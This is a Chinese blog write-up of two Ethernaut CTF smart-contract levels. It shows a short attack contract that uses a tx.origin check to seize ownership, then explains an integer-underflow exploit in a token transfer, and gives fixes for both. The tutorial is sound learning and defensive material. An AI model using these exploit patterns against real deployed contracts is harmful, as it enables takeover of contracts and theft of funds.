Ethernaut-刷题小记(三)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pragma solidity ^0.8.0;
contract Telephone { address public owner;
constructor() { owner = msg.sender; }
function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
|
代码很短,可以一眼就看到关键点在tx.origin != msg.sender
先了解一下这两个是什么东西
Solidity官方文档解释如下
msg.sender (address):消息的发送者(当前调用)
tx.origin (address):交易的发送者(完整调用链)
注:msg 的所有成员的值,包括 msg.sender 和 msg.value 可以在每次 外部 函数调用中变化。 这包括对库函数的调用。
tx.origin将返回最初发送交易的地址,而msg.sender将返回发起external调用的地址。
写个例子理解一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pragma solidity ^0.8.0;
contract Victim { function whoIsCaller() public view returns (address sender, address origin) { return (msg.sender, tx.origin); } }
contract Middleman { Victim victim;
constructor(address _victim) { victim = Victim(_victim); }
function callVictim() public view returns (address, address) { return victim.whoIsCaller(); } }
|
第一个合约部署后调用函数如下

第二个合约部署后调用函数如下

可以看到msg.sender已经改变,不再是原来的地址了
那么我们就可以利用这一点进行攻击
直接上攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pragma solidity ^0.8.0; import './Level4.sol';
contract attack { address public owner; Telephone telephone;
constructor (address _telephone) { owner=msg.sender; telephone = Telephone(_telephone); } function attacker() public { telephone.changeOwner(msg.sender); } }
|
攻击前

攻击后

已经拿到合约所有者。
修复方案
避免使用 tx.origin 进行权限验证
- 直接使用
msg.sender,这样合约调用不会绕过限制:
1 2 3 4
| function changeOwner(address _newOwner) public { require(msg.sender == owner, "Only owner can change owner"); owner = _newOwner; }
|
使用 onlyOwner 修饰符
- 采用 OpenZeppelin 的 Ownable 库:
1 2 3 4 5 6 7
| import "@openzeppelin/contracts/access/Ownable.sol";
contract Telephone is Ownable { function changeOwner(address _newOwner) public onlyOwner { transferOwnership(_newOwner); } }
|
继续第五关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| pragma solidity ^0.6.0;
contract Token { mapping(address => uint256) balances; uint256 public totalSupply;
constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
|
问题出在require(balances[msg.sender] - _value >= 0);这里
uint256 是无符号整数,不能表示负数。
如果 msg.sender 余额不足,balances[msg.sender] - _value 可能会下溢,变成一个极大的正数,导致 require 语句仍然通过。也就是整数下溢。
简单来说就是这样:比如我有两个uint4:1011和0101,相加得到的理应是10000,但是由于uint4只有4位,所以最前面那个1会被省略,变成0000,这就和油量表一样,超过最大值9999.99就回到最小值0000.00一样
同时由于Solidity它这些uint不存在负数,所以就会出现这种溢出的情况,比如0000-1=1111的情况
所以直接向有效地址传21token就ok了

修复方法
1、修改 require 语句:
1
| require(balances[msg.sender] >= _value, "Insufficient balance");
|
这样可以确保 msg.sender 余额充足,防止整数下溢。
2、使用0.8.0以上的solidity
3、导入Openzeppelin的SafeMath.sol